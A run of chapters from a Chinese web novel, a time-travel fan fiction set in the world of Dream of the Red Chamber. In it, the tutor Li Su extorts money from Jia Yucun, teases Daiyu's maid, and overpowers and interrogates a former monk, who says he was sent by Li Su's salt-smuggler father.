李素心说既然系统给了要求,老子就不信想不出办法,跟丫杠上了! “父亲、师父,那玉儿先回去了。” “去吧。”林如海挥挥手,李素也颔首微笑。 贾雨村表情有点懵,心说,我呢?还有我这个先生呢。 可黛玉竟似乎真的忘了他这个西席先生,欠身福了一礼,就袅袅娜娜的带着小丫鬟出了厅门,往后院走去。 行至半途,雪雁再也憋不住了,对着黛玉嚷道:“姑娘,姑娘,我这回说的是真话吧,是不是有法力?” 黛玉捏着手里的书,心情还有点儿恍惚,随口答道:“嗯嗯,法力高强,你还真有不说谎的时候。” “嘻嘻,我雪雁是个老实人哩。”雪雁雀跃。 屋里的三人再次落座,又自不同,关系愈加亲近随意了。 林如海对李素道:“妙言,你就住这前厅东跨院儿,与时飞的西跨院正好相对,这样玉儿也短了就学的路途,你看可好?” “大人所想甚好,您就把我当晚辈,随意支使即可,咱们各论各。” “那不行,礼不可乱。”林如海摇头,他是正统儒教门徒,重视这个。 “大人,听我一言,以后我的治学之路还需大人这样的前辈指点,这样算起来,我称您一声师父也是应该。如果真论下去,您岂不成了玉儿祖辈,而时飞兄平白矮了一辈儿。” 李素继续劝,心说得把林如海的封建思想撬开个缝儿,不然以后怎么舔林妹妹? 而贾雨村心里感觉像吃了个苍蝇,为什么不是我长了你一辈儿?而是我矮了林如海一辈儿! 林如海并不是迂腐之辈,想了想,哈哈一笑:“那就依着妙言,至于玉儿的就学时间安排调配,你跟时飞商议就好。” 随后向管家道:“林忠,带妙言去东院,看是否有缺漏,如有就立刻增补。” 说完话后,林如海站了起来:“我还要去衙门,今日就不陪妙言了。” “大人有事,尽可去忙。”李素也站了起来,送林如海出门。 几人 告别分开,李素跟着林忠进了东跨院儿。 院子还不小,中间一个葡萄架,此时叶子已然渐渐发黄。葡萄架下一组石桌椅凳,东南侧还有一个八角小亭,亭外种着花草。 正房三间,进了正房,中间为厅,左侧餐厅,餐客一体,右侧是里间卧室,卧室竟然还是个套间,有个丫鬟应答休息的外塌。 东侧配房是书房,厨房、浴房洗房。西侧配房是茅房、柴房和佣人房间。 李素满意极了,他从来没有住过这么豪阔的宅子。 看着李素参观完,林忠笑道:“小神仙,可有什么要添置的?另外服侍您的丫鬟还需要您亲自选一选。” “没有什么添置的,这已经很好了,丫鬟我就不选了,给我安排个男仆吧。” “男仆?”林忠一愣。 “女人只会影响我拔剑。” 林忠不懂,只好说道:“男仆,要重新招募,就要有劳小神仙等一等了。” “不急。” “那老仆就先去了,小神仙暂且歇息。”说完林忠一礼就告退出去了。 李素坐在了书桌后面的椅子上,漫无目的的翻看着桌上的书,心里总觉得好像忘了点儿什么。 手指无节奏的敲打着桌面。 应该不是林妹妹的事儿,林妹妹按部就班就好,那是什么呢? 忽然他身子一震,想起来了,工资! 工资多少?什么时候发?会不会有全勤?在哪里领? 这么重要的事儿竟然没说,是林如海忘记了吗?有可能! 现在自己可是个穷鬼了!李素想起自己花掉了七百多两银子,都没把系统开出来,心里就嚯嚯的疼。 那可是自己卖房卖地,卖掉了前身父母所有的家当得来的。 李素成功的把自己搞成了无产阶级,但革命却没成功。 不行!得找个通家之好。 想罢,李素站起身来,出了书房,然后出了自己的院门儿,向着对面西跨院儿的邻居家走去。 贾雨村正在书房里琢磨着如何分配黛玉的学习时间,就听外面李素的声音响起:“时飞兄,时飞大兄啊,救命!” 随后李素就闯进了贾雨村的书房:“时飞哥哥,借两个钱儿花花。” “啊,贤弟,我……” “大兄,别拒绝,这样不好,你有八十七两二钱,我算过了。” 贾雨村的眼睛瞬间瞪圆了。 第7章 拿捏贾雨村 黛玉跟雪雁回了后宅。 贾敏正等着呢,见黛玉神色有些怔然,浑不似平常机敏,不由得把她揽在怀中,开口问道:“玉儿,刚认下的师父不合心意么?” “若不合心,我跟你父亲说说,就退了。” “啊,不是的母亲。”黛玉忙道。 “那是什么?我见你神思有些不定。” 雪雁在一旁插嘴道:“姑娘是中了小神仙的法力了,奴婢刚开始也这样呢,就是有点儿晕晕乎乎的。” 贾敏从头到尾仔仔细细的问了一遍,才明白了事情的原委,心下暗笑两个小丫头。 黛玉不像自己,自小在国公府长大,母亲治府宽厚,丫鬟仆人众多,嚼嘴多舌。 尤其自己那个大哥,更是脂粉堆里的莽撞人。 是故自己未出阁,便早早就晓得了些男女间的诸事。 而黛玉不同,夫君林如海虽是列侯世家子,但却是守正君子,妾室也是守理守节,家宅更是治理的井井有条,下人丝毫不敢逾规逾矩。 黛玉自小又无从与外界来往,所以再有二三年就到豆蔻之龄了,还不晓得男女诸事,雪雁也是,好一对儿雏鸟主仆。 竟然把被男子美貌触动心怀,当成了对方对其施法,实在是可笑。 贾敏忽然想到,这个李素竟然如此好风姿,又做女儿的师父,这时间长了,生了情愫……贾敏才在心里嗤笑黛玉,转瞬间又担忧了起来。 但听闻李素又是个上进的,双亲不在,而自己又没能给林家诞下香火呈续的男丁,世代簪缨之家眼看就要绝嗣!若是……贾敏不由得患得患失起来。 不行!晚上得与老爷说说此事,贾敏心下拿定了主意。 黛玉根本不晓得,自己拜师这一事,竟然让母亲千肠百结,心思都飞出九霄云外去了。 贾雨村的书房。 “大兄?时飞贤兄?双目为何睁的如此之大?你是不是不信我算命的道行?”李素敲了敲桌子。 贾雨村脸色阴沉,盯着李素不语。 李素笑了笑:“真不信?那你风姿如玉善良淳朴神机妙算的妙言贤弟,就再给你卜一卦。” 说着李素就掐起了手指,嘴里念念有词,一声声奇怪的语言自李素口中说出:“かわきたさいか、相沢みなみ、枫カレン私の好きな女優さんばかりです……” “有了!”李素一拍桌子,大喝一声。 这猛的一嗓子,吓得贾雨村差点儿从椅子上,抖搂下去。 贾雨村气得满脸涨得通红,身体微微颤抖着,他伸出一只手,指向李素。 李素以迅雷不及掩耳之势,握住了他颤抖的手,然后凑近贾雨村的脸,低声说道:“葫芦庙、甄士隐。” 啊! 贾雨村不由得惊叫出声! 一瞬间感觉自己像被扒光了!背后悚然冒起了一股凉气。 他不可思议的盯着李素的眼睛。 此刻特别想知道,李素是真的卜算到的,还是寻人调查的自己。 无论哪一件,对他来说都不是什么好事,都代表自己惹不起李素。 如果是李素算出来的,能看透自己心肝脾肺肾,过去将来,这种本事让人恐惧。 如果是李素背后的人,连自己这种小人物都随便摸的清楚透彻,自己有这么值钱么?这种势力让人恐惧,好像有一张铺天盖天的大网笼在了暗处。 想到这里,贾雨村心里打了个颤。 他宁愿相信是李素个人卜算的本事! 奸人和贱人,向来就是一对儿孪生兄弟,贾雨村就有这样的优点。 他心思急转,忽的双手握住了李素的手,用力的摇了摇,叹息一声:“贤弟,愚兄苦恼啊。” “额?哥你说,怎么苦恼了?” “世人皆为利所累,愚兄就背了八十七两的负累,不知贤弟是否能分担分担?” 李素另一只手也握了上去,满含深情的望着他:“哥,啥也别说了,兄弟都给你背了。” “啊?都……背了啊?”贾雨村眨了眨眼睛。 “对啊,都背了!”李素斩钉截铁。 随后意味深长的看着他,不再言语。 贾雨村嘴角抽搐了一下,放开了李素的手,转身搬了把椅子放在了书架跟前,然后撅着腚爬了去,从书架的顶上摸出了一个袋子。 然后把袋子放到椅子上后,小心翼翼的又下了地,随后双手拍了拍,把手上的灰尘拍掉,低头去取椅子上的钱袋子。 嗯? 钱呢? 他抬头去看李素,只见李素拿着自己的钱袋子正在往怀里揣。 他心下叹了一声,财去就应该人安乐了。 可是他猜中了开头,并没有猜中结尾。 李素把钱袋子揣好,笑眯眯的又看向了贾雨村:“哥,以后每个月的月钱……” 贾雨村闻言,想哭。 他咬了咬牙:“ 我,我,全给……” “一半!”李素掷地有声。 “啊?真的?”贾雨村喜道。 “真的,水平一般,能耐有限,再多就背不动了。”李素觉得不能把贾雨村逼急眼了,羊毛得慢慢薅,细水长流才是王道。 “哈哈哈,那真是多谢贤弟了。”他似乎忘了,另一半也是他的,搞得好像李素给了他钱一样。 李素摇头“你我是兄弟,不说客气话。” 目光真诚。 贾雨村闻言,心里有些熨帖,走到了门口对外喊了一嗓子:“小翠,上茶。” 随后就转身回来,重新落座。 此时耳边又听得李素悠悠的说了一句:“小翠是兄长的丫鬟?能割爱否?” 贾雨村闻言气往上涌,眼角泛红,怒视李素,手都快哆嗦麻了,心中大喊:欺负人!太欺负人了!我要去告你! 李素见贾雨村真的快崩溃了,于是对他一拱手:“哈哈哈,兄长,兄长,开个玩笑,妙言不夺雨村所翠。” 贾雨村一听这话,犹如从瞬间从地狱回到了人间,又听得李素所言有趣。 “噗嗤”一声就笑了出来。 这一笑可不得了,由于方才悲愤交加,他面部的腺体都调动了起来,这突然一笑,鼻涕竟也跟着出来了,还冒了个泡泡儿。 贾雨村羞煞,赶紧捂脸。 而此时,只听得门口当啷一声,传来了茶盏坠地的声音。 李素看去,竟然是一个身穿绿色衣服的丫鬟,此时手中就剩下了空空的茶盘,正手忙脚乱的蹲身去收拾,洒落一地的茶盏。 小翠边收拾,还边偷瞧贾雨村,连他这个超级无敌大帅,都顾不得看了。 李素忍着笑,心中暗叹,这特么真不赖我! 小翠把茶盏收完,就急往外走,临出门的时候,又回头看了一眼贾雨村。 随后捂嘴偷笑着跑了。 第8章 俩骗子 今日里,之所以反复拿捏贾雨村。 是因为李素知道,这家伙钻营能力超强,又是个没有底线的白眼儿狼。 在原来的世界,每次看红楼,最让他恨的人中,贾雨村排第三。 贾雨村当初在葫芦庙落难的时候,靠写字为生。 都快饿死了,是甄士隐供他吃喝,又送他盘缠支持他去赶考。 他高中以后,当了官,是怎么报答甄士隐的呢? 就当没有那回事儿,别说去看看甄士隐了,连封信都没有。 而那个时候是甄士隐最惨,最需要帮助的时候。女儿英莲被拐,家被葫芦庙的大火连累烧成了白地,甄士隐落难遭老丈人冯家欺负嫌弃。 后来,他在应天任知府,纳了甄家的丫鬟娇杏做妾,得知了自己恩人家遭了大难,这个王八蛋是怎么做的呢? 当不知道! 再后来,他甚至认出了自己恩人之女甄英莲,被人拐卖给冯渊,而薛蟠打死冯渊又将英莲抢走。 他又怎么做的呢? 还是当不知道,当不认识英莲! 英莲后来最终惨死薛家的罪孽,可以说就有他一份。 再说他对贾府。 贾府运作关系,帮他做了应天知府,后来他步步高升。 最终怎么报答贾府的呢? 他为了攀上忠顺王的大船,先是帮着忠顺王查抄贾府,随后又把贾府帮着史家和甄家藏银子的事儿捅给了忠顺王。 以致于贾府直接跌到了最深的深渊,众钗流散,落得了白茫茫一片真干净。 如果说贾府的落败,政治斗争是最大的推力,贾雨村就是那个推力前面,其中一把锋利的刀。 妥妥的白眼儿狼。 纯纯的没有底线。 所以,李素收拾他,内心毫无道德压力。同时李素考虑毕竟自己和林妹妹相处,他告黑状的可能性都不用猜,得让他在林府夹起尾巴。 而将来,大概终究有一天也会对上,所以先给他下个烟雾弹,恐惧种。 让他关于自己的事儿,少沾,少惹,滚远。 所以早落一步棋,而已。 李素的嘴角不自觉的勾起了一丝微笑。 “兄长,咱们说说玉儿的课吧,兄长原来是怎么分配的时间?”江源见差不多了,跟贾雨村说起了正事儿。 他一本正经的模样,就好像刚才无事发生。 贾雨村悄悄摸摸的把手绢儿塞回了袖子,还自顾自的帮自己找补了一句:“咳~天寒了,容易着凉。” 随后他狐疑的看了看李素,见李素就当没听见他的话,他也就权当自己无事发生。 于是回道:“贤弟,玉儿的课,我平时都是前半日授课,每旬休一日。” “嗯,行,那我就下午,贤兄忙着,我回了。”李素说完就站起身开始往外走。 贾雨村一愣,这就走了? 只见李素转眼间就出了房门,消失在了他的视线里。 安静下来的贾雨村,回想着今日李素的种种,内心不断的告诫自己,远离李素,这人太危险。 李素回了自己的院子,就开始制定起自己和黛玉的健身计划。 首先是吃,肉、蛋、奶、蔬果的每日搭配,先让身体的增重。 其次是动,让摄入到体内的营养,快速的消化吸收,加速代谢循环,进入壮体的阶段。 最后是练,随着身体的亏空增补完,进入强身的阶段。 想到这里,李素又开始头疼了起来,看着自己系统里,那明晃晃要林黛玉倒拔垂杨柳的字,感到系统那满满的恶意。 还不如不给自己系统,难度系数一个比一个高。 如果没有系统,自己就不用惦记了,老老实实赚银子,考科举当官,一手金钱一手权,专心钻营往前莽,也没那么多烦恼。 现在算什么? 难度系数高不算,而且怎么看都是把自己往脂粉堆儿里推,当然自己也喜欢脂粉,但这被动的模式,就让死矫情的李素很不爽。 算了,暂时也没有什么好办法,先拱一拱这棵小白菜再说吧。 不再想其他,李素做好计划后,就出了自己的跨院向中院去,中院的布局却出乎了李素的意外。 与前院不同,进入中院的月门,映入眼帘的是一条竹林掩映的小径,再往前走,是一座假山,假山高大,山间又有小道布在其中。山侧是一个湖塘,再就是勾连的长廊蜿蜒四方。 整体看来,婉婉约约,曲曲缠缠,好一座秀丽的江南园林景象,幽静而雅致。 李素心道,这才应该是属于林妹妹的气韵。 进入了假山孔道,正行走间,忽听的头上一声惊呼:“啊,呀呀呀,……” 李素一惊抬头看去,只见假山上一个秀丽的身影,是雪雁!黛玉的小丫鬟。 她站在假山上,手里拿着一个捕虫网,摇摇晃晃的就要往下掉。 坏了! 李素下意识的伸出双臂就去接。 手刚伸出去,只见自己眼前身影闪过,随后噗通砸地的声音,再接着就是一声:“哇!疼死了,呜呜!” 没接着? 尴尬了。 李素眨了眨眼睛,看着躺在地上捂着屁股哭喊的雪雁。 脸色讪讪蹲了下来:“雪雁,你还好么?” 梨花带雨的小姑娘,听到李素问话,小嘴一撇哭的更凶了,边哭边抽噎着:“小,小神仙,呜呜……你怎么不接住我?呜呜……” 我怎么不接住你?还不是因为我现在身体太弱,反应不及。 但李素可不能这么说。 只见他先是脸色一板,随后阴沉的笑起来:“桀桀桀!” 雪雁被这笑声吓得一激灵,哭声顿时止住了,瞪大了眼睛仰头看着李素,就好像李素要吃了她一样。 李素见她不哭了,然后低声说道:“你,被妖怪附体了,却需要这一摔,把妖怪从你身体里摔将出去。” “啊,是真的吗?妖怪呢?”雪雁脸色一白,惊慌的向左右张望。 “飞走了。” 雪雁松了一口气,好像忘记了疼,继续问道:“那,那是个什么妖怪啊?” “你刚才干什么了?” “捕蝴蝶。” “那就是个蝴蝶妖!” 雪雁听到这里,面色煞白,猛的从地上一下窜了起来,就疯狂往外跑,边跑边喊。 “姑娘!姑娘!快放了那只蝴蝶,小神仙说要吃人哩。” 李素看着瞬间跑远的小丫头,心说这小身子真瓷实,摔这么狠,竟然没事儿。 不过,李素很快觉得不对了。 我特么时候说蝴蝶吃人了? 这算连环骗么? 第9章 都是老实人 不行! 李素赶紧跟了上去,得戳破她的谎言。 自己可是个老实人,万万不能让这个小丫头坏了名声。 李素沿着雪雁远去的路线,兜兜转转绕过假山。 只见前方豁然开朗,一片绿意盎然。 远处花丛树下,只见黛玉手拿一本书,轻袅袅花朵一般,坐在秋千上,尖翘脚儿微微荡起。 阳光洒下。 一只蝴蝶围着她上下飘飞起舞。 雪雁则在一旁叽叽咕咕,双手舞舞扎扎,夸张的比划着什么。 黛玉看着她,捂嘴轻笑。 很明显,她不相信雪雁这个老实人的话。 而李素见到远处这一幕,忽然停下了脚步,屏住了自己的呼吸。 这就是黛玉进贾府之前的生活!而书中随着父母离世,乍然破碎!随后寄人篱下,谨小慎微,一缕芳魂飘零而去。 李素看着眼前唏嘘不已。 这画面,好似触动了他心中的柔软处。 他生怕自己,即便是呼吸声大一些,都会打破这眼前的美好。 李素内心忽的平静了下来,系统也好,科举也好,乃至藏在深处核爆的恐惧也好……在自己的心里,瞬间都通通远去了。 再无影踪。 他深深的又看了一眼,用力的记住这一刻,转身就往回走。 而此时,黛玉正向这边望了过来。 她只觉好像有个身影闪过,但是又不太确定。 “姑娘,姑娘,我雪雁是老实人,从不说谎的,不信我带你去,小神仙就在假山里呢。”雪雁见黛玉不信她的话,有些急了。 黛玉心终于是放下心中的疑惑,笑着问道:“那你说说,我师父在假山里做什么?” “当然是……呃。” 雪雁张了张嘴,卡住了。 大眼睛眨了眨,接着向四周张望。 黛玉抿了抿嘴儿,接着说道:“你想说,当然是捉妖怪,是不是?” 雪雁顿时恍然,面色一喜,赶紧答道:“对啊,对啊,姑娘你是怎么知道的?” “你想知道?”黛玉漫不经心的放下了手中的书。 雪雁小脑袋猛点:“嗯嗯嗯。” 黛玉一把揪住了她的耳朵:“我就是这样知道的,哼哼,你又来哄我,你说要去给我再捉一只粉色的蝴蝶,定是捉不到了,就找了个理由来搪塞我。” “啊,疼疼,好姑娘,饶了我这一遭吧,粉蝴蝶不见哩,可不是我雪雁不卖力啊。”雪雁一边求饶,一边嚎。 “那为何要用我师父来搪塞,还说什么蝴蝶啊,妖怪的。”黛玉说着,起身揪着雪雁的耳朵往假山走。 “今儿就让你死个明白,看看我小师父是不是在假山里捉妖。” 雪雁被揪的偏着脑袋,呲牙咧嘴嚷道:“姑娘,姑娘,你能不能先松手,我听说耳朵拉长了会变成兔子的。” “呸!” 黛玉啐了她一口道:“十日里,有八日都拉你耳朵,何时你变过兔子了?” 雪雁眼珠乱转:“今日却不同哩。” 黛玉停下身,松开了她的耳朵:“你倒是跟我说说,哪里不同?” 只见雪雁说时迟那时快,快步一闪,嗖的绕过黛玉就跑进了假山:“今日我雪雁跑的快,哈哈。” 转眼间就没入了假山孔道中,黛玉笑着追了上去,还未走几步就听雪雁传来了“哎呦~”一声,接着哇的就哭了出来。 黛玉忙奔上前,转角之后,只见雪雁像个大马猴一样趴在地上,哇哇的哭。 黛玉见她这模样,忙道:“这怎么又摔着了呢?”接着打量了一下,只见雪雁身后横着一个捕虫网。 顿时明白,这便是作案工具了。 黛玉把网子竖起来,放到一旁靠在石壁上,探身低头对雪雁说道:“有没有事儿?今天你又跌了几次了?” 雪雁眼睛噙着泪花,抬头看自家姑娘,小嘴瘪了瘪回话:“今日,今日里多一些,好似有四回了。” “嗯,起来吧。”黛玉伸手牵她的手。 雪雁没有牵黛玉的手,自己摇摇晃晃的站起来,边起身还边说道:“又好似五回,又许是六回……七八回吧……姑娘,能不能给我多加个鸡腿?” 她一脸期待的看着黛玉。 黛玉剜了她一眼:“哼,你被自己的网子绊了脚,为何要我给你加鸡腿?更何况哪顿你不是吃上二三只?就好似我苛待了你?” 雪雁嬉笑道:“嘻嘻,姑娘,姑娘,我听说吃什么补什么的。”接着她躬身,把自己的裤腿往上一撸,露出雪白的小腿。 “姑娘,你看,是不是壮了许多?” 黛玉瞧过去,立时气道:“是撞了许多!” “你这小蹄子!以后再摔跟头,一个鸡腿也没有了!”雪雁腿上的青紫,让黛玉有些心疼。 “那……好吧。”雪雁见姑娘真生气了, 立马怂了下来,把自己的裤腿也放了下去。 黛玉见她有些低落,于是转移话题道:“你听哪个说的,吃什么补什么?” 雪雁顿时来精神了:“前头西跨院儿的小翠姐姐说的,她说是雨村先生说的。雨村先生经常让她安排厨房额外做一些吃的。” “额?都做什么了?” “有牛肉、鸡肉、好像还有什么脑的……对了,猴脑!” 雪雁说到这里,左右看看,然后附在黛玉的耳边,小声说道:“我又听说厨房的老冯,用猪脑当猴脑做给雨村先生吃了……” 黛玉没注意她的小道消息,满头雾水的思索着,这雨村先生到底是缺什么呢? 眼见就走到了前往中院儿的月门,只见门口站着无精打采的守门丫鬟,时不时的打个哈欠。 黛玉于是放下心思,扭头道:“我小师父不在吧,你还是老实人?” 话音落下,又揪住了雪雁的耳朵。 雪雁急忙摆手:“姑娘,姑娘莫急,兴许他被妖怪捉走了呢?” “你有胆子再胡噙?”黛玉使力。 “疼疼,我知道了,定是他已经走了!对,就是这样!”雪雁肯定的答道,随后她就朝着守门丫鬟喊道:“秋菊,你是不是看见小神仙从门里走了?” 黛玉也看向了秋菊。 “没有!一个人影子都没看见。”秋菊见黛玉盯着她,心里一紧,张口就答。 雪雁听到这答案,顿时不干了,急吼吼朝着秋菊嚷道:“怎么能没有呢?你定是偷懒了,是不是?” 秋菊有点儿慌,急忙朝着黛玉解释:“奴婢可不敢啊,姑娘,谁不知道我秋菊是个老实人,向来不敢偷懒的。” 黛玉放开了雪雁,左右看了看这俩人,哼声说道:“你们一个个的,这个也老实,那个也老实,倒显得我这个主子在苛待你们了。” 随后目光聚在秋菊身上,不再挪开。 秋菊一惊,噗通跪了下来,抱屈道:“姑娘说的哪里话,府里谁不知道姑娘是最最心善的。” 随后用余光瞥了一眼雪雁,只见她在一旁呵呵傻笑看自己。 心中暗恨雪雁。 连带着对黛玉也怨上了。 凭什么? 第10章 未雨绸缪 李素回到自己屋里,忽然想到,院门儿之间怎么也没个把门儿的? 自己刚才直往后院儿闯,却是唐突了。 这样不好,不合规矩,自己要谨记,这不是原来的世界了,是一个礼教规矩森严的社会体制,原来的一些思维惯性,要改! 不然早晚会吃大亏! 李素在屋里开始了三省吾身。 不多时,有丫鬟给李素端来了午间的餐食,四菜两汤,伙食不错! 狼吞虎咽的吃完,李素看着光光的盘子,又开始了反思:不能吃这么快,部队的习惯要丢掉,做一个慢条斯理的老爷态,才是正道! 就这样,李素反省完,就到里间躺下合衣而睡,开始了午休。 此时远在京城的荣国府。 也刚刚用完午膳,贾母吩咐大丫鬟鸳鸯,给宝玉在碧纱橱整理了铺盖,然后哄着他去午休了。 待宝玉走了,鸳鸯过来道:“老祖宗,可要歇息?” 贾母摇摇头,坐在躺椅上闭眼沉思起来。 她想到了远在扬州的女儿,然后想到了外孙女林黛玉。 心下计算着黛玉的年庚,觉得差不多该把宝玉和黛玉的事儿,安排安排了。 这些年,她秉着已故夫君贾代善的计划,已经操持的差不多了,等宝玉和黛玉的婚事一成,府里就差不多能安稳富贵下去了。 自从老皇帝退位,身为忠义王一系的贾府,就面临着极大的危机。 所以安排了女儿贾敏,嫁给新皇潜邸的探花林如海,降低新皇的敌意。而且林如海早晚要被大用,未来可期。 安排大孙子贾珠考科举,同时又让贾珠娶了国子监祭酒李守中的女儿李纨,向老皇和新皇表明贾家不再触碰军权。 安排小儿子贾政娶了王家妇后,又让贾琏继续联姻王家,娶了王熙凤。同时推动王子腾这颗冉冉升起的新星上位,让他的羽翼能够为贾家提供更多的保护。 安排贾政的大女儿元春进宫,以求能得到新皇的宠幸,成为国戚,做成对贾府最大的保障。 只可惜,贾珠是个短命无福的,早早的去了,导致贾府这最重要的一条,转武修文的破局之路断绝。 更可惜,元春进宫多年,依然没有好消息传来。 兜兜转转,竟然还在四大家族里,这不行! 剩下的,就是要和林如海更加深度绑定,那就是让林黛玉嫁给贾宝玉。 但林如海是个外柔内刚的方正之人,而且膝下就这一女,看似儒雅温和,却不是那么好说话的,所以她也不敢冒然提起,担心砸了锅。 眼看孩子都要大了,宝玉都十二岁了,到底怎么安排呢? 要未雨绸缪啊! 老太太陷入了沉思。 不多会儿,竟然就这么睡了过去。 一旁的鸳鸯,见状赶紧拿了张毯子给贾母搭在身上,然后把呼吸放轻,取了一个绣墩缓缓坐在一侧守着。 “大梦谁先觉,平生我自知,草堂春睡足,窗外……窗外……嗯?你谁啊?” 李素一觉醒来,神清气爽,没有做梦! 那个噩梦不见了! 心下放松,吟诗一首,谁知吟到一半,第六感让他察觉不对,赶紧睁开了眼睛。 就见自己床侧一个大光头,澄明瓦亮。 大光头赶紧答道:“小的新来的,叫无色,是小神仙您的仆役。” 李素立马坐起身来,拧着眉头道:“不是,你一个和尚,怎么跑来当仆役了?” 大光头讪笑道:“琼花观火了,我们就不好混了。” “不对啊,琼花观这才火了没两天,怎么就影响你们和尚庙的生意了?”李素边说边下了床榻,走到厅中,在椅子上坐了下来。 “贫僧未雨绸缪!” 李素斜了他一眼:“你一个和尚,就跑来给我一个道士当仆役?不怕佛祖一雷劈死你?” “贫僧叛教了,有真神,谁还拜假佛啊?” 大和尚紧着答了一句,赶紧把倒好的茶盏给李素。 竟然还是温热的! 李素仔细的瞧了他一眼,只见这家伙浓眉大眼,皮肤粗糙,体壮如牛,只是一脸的狗腿相,怎么都不太像个好人。 “嗐!那和尚,你怎么就擅自进了小神仙的屋子?” 老管家林忠匆匆自门外小跑着进了屋子。 和尚赶紧上前,搀住了气息未定的林忠,赶紧答道:“老管家,我,初来乍到,有些迷路才闯进了小神仙的屋子,请您见谅,另外我还俗了,叫李无色。” 林忠面色这才好转了一些。 于是不再理会他,拱手对李素道:“小神仙,这也是凑巧,府里刚放出招仆役的风头,这李……李无色就上门来投了。他底子没问题,是万寿寺的和尚。” 林忠解释完,接着问道:“您看这人成不成?不成咱们就换。” 一旁的和尚闻言,狗腿相更足了,看向李 素,眼中充满了恳求之色。 李素心念电转,对林忠笑道:“就他吧,不换了。” 林忠闻言,转身叱道:“还不快谢谢小神仙!” “谢谢小神仙,谢谢小神仙!”和尚赶紧拱手作揖。 李素点点头,随后起身走向了书案,拿起折好的教授黛玉的时间计划表,然后走回来递给林忠:“这是给玉儿的,你拿给她,自明日起就开始授课了。” 林忠连忙接了过来点头道:“我这就差人送去。”随后他转身对大和尚说道:“李……李无色,你跟我来,我带你学学规矩,认认人。” 见大和尚点头答应,林忠对李素拱手道:“那老仆就先下去了。” 李素笑道:“走,我送您。” 随后三人就一块儿出了东跨院儿。 看着大和尚宽厚的背影消失在视线里,李素的嘴角上翘,心说我倒要看看你到底是人是鬼。 他攥了攥拳头,又放了下来。 不行!得赶紧锻炼! 如果自己有原世界的体格,和尚出现的瞬间就应该被自己制服了。而在刚才,自己就没敢动手,这种无力感太让人难以适应了。 接下来整个下午,李素都在给自己的身体做拉伸,做各种力量的测试,大和尚也一直没再出现。 直到了晚间,大和尚才提着食盒进了厅堂。 放下食盒后,他看向李素咧嘴一笑:“素哥儿,你这是唱的哪一出啊?大当家的都蒙了!” 李素闻言目光猛缩! 同时他的身子瞬间绷紧了! 如果能透视,就能看到他全身的肌肉好似拧成了一股绳,处在了随时都可攻击的状态! 第11章 脚下三颗痣 大和尚看着李素一脸震惊的模样,好像更开心了,正要说话。 就见眼前一花,接着黑影一闪,就感觉自己的脑袋嗡的一下,眼前一黑倒了下去。 见大和尚歪歪斜斜就要倒地,但李素依然没有停手,实木的食盒继续快速朝着大和尚砸了下去。 和尚头上的鲜血,食盒里的菜、汤水、破碎的盘碗渣子,混成一片盖了他满头满脸。 见他终于没有气息了,李素快速跑到里间拿了个床单,用水浸湿,然后把大和尚绑了下来。 最后又撬开了他的嘴,扯下他的臭袜子,塞了个结实。 跟前几天雨村先生的待遇相同。 做完这一切后,李素一屁股坐在了地上,剧烈的喘息着,发现自己浑身上下已经被汗水打湿了,就像从水里爬出来一样。 休息了一会儿,他拿起茶壶猛灌了一通茶水,才慢慢冷静下来。 看着像个粽子一样在地上的大和尚。 跟贾雨村那天被自己绑姿势有点儿像,只是没有绳子了,弄的形状不是太艺术,不是龟甲缚、也不是背心缚。 李素刚才听完大和尚的问话。就知道,这个大和尚应该不是来害他的。 但是他需要一个思考时间,所以只好委屈他安静一会儿了。 根据大和尚说的话,他应该认识自己,认识前身的书呆子李素!那么自己是否认识他呢? 其次,他问自己唱的哪一出? 意思就是自己改变了原来的生活轨迹,原来是什么样呢?就是读书取功名! 那么他说的是自己当道士?还是自己跑到林府?还是两者都是呢?这个问题好像不太重要,滑过! 最后,他说了一句大当家,那么他们就是一个团伙儿!一个黑道团伙! 那么这是个什么团伙儿? 自己还是大当家关注的,而不是普通喽啰,而是中坚份子!我又是个什么身份?我作为一个书呆子,是怎么成为一个黑势力中坚人的呢? 满满的疑惑,缠绕在李素的心头。 要不要做掉他? 好像感到了危险的大和尚,开始动了。 李素见状笑了,心说这虎背熊腰的,确实比雨村先生抗揍。 只见他晃了晃脑袋,接着眼睛睁开来,先是有些茫然,随后他就搞清楚了状况。 紧接着他呜呜呜……挣扎起来,眼睛瞪的像铜铃一样看着李素。 李素见状,从地上捡了一块破碎的碗片,蹲在大和尚身边,把尖角锋利的一端,在和尚眼前晃了晃,随后抵在了他的脖子上。 “安静。” 大和尚急忙点头,他的目光瞬间变的害怕起来,又带着求饶,委屈,还泛起了点点泪花。 李素把他嘴里的臭袜子扯掉。 大和尚贪婪的大口呼吸着新鲜空气,好一阵才平复了,就感觉自己脸上好像有点什么,有点儿痒,头也有点疼,正想开口,就感觉自己的脖子又被戳了一下。 紧接着李素快速问道:“姓名,籍贯,年龄,代号,职业,职位,团伙儿名称,团伙主要做什么的?老大叫什么?来找我做什么?老实交待!” 大和尚眼睛眨了眨,好像越发的委屈了:“素,素哥儿,你说的这些我记不住。” “记不住?” 只见李素捡起一根筷子,在他疑惑的目光中,直接就戳进了他的一个鼻孔,随后大和尚惊恐的叫起来:“记得住,记得住,呜呜……别戳,别往里。” “那我刚才问的什么话?复述一遍!” 大和尚傻眼了,他哪记得住,刚才李素快速问了一大串儿,而自己那会儿脑子还有些晕呢。 “妈的,就知道你不是老实人,竟然敢骗我!”李素说着就用筷子开始戳他的鼻孔。 大和尚的眼泪哗的就下来了,他有点儿崩溃了,委屈的大哭起来:“呜呜……素哥,饶我!是你爹让我来的啊,你不能这样对我……” “嗯?”李素停止了戳弄,把筷子从他鼻孔里抽了出来。 “继续说。” 大和尚见李素可以听他说话了,再也绷不住,继续哭诉起来:“我说我不来,他们非让我来,说什么素哥儿入了道,佛道一家亲……呜呜。” “好好说话,再哭,戳你啊!”李素把筷子在他眼前比划了一下。 大和尚瞬间止住了自己的委屈,吸了吸鼻子:“不哭,不哭,我交待,我们大当家叫李固,他是你爹,从小把你寄养在下花园那个老李头家里,就是前段时间老李头跟他老婆子死了……” 李素用筷子敲了一下他的大鼻子:“放尊重点儿,那是我爹娘,继续说。” 大和尚哆嗦了一下:“好好,是李老,李老爷。你爹每年偷偷的都给李老爷送银子,要求就两个,把你养大,供你读书做官。” 李素此时终于明白,自己从家里找出来的那五百两窖银,是怎么来的了。 “照你这么说,我那亲 爹是干的无本儿买卖?” “有本儿,有本儿的。” 李素敲了敲他道:“又骗我!有本的还隐姓埋名?不敢认自己的儿子?” “贩卖私盐!不敢露头,不敢漏名!” 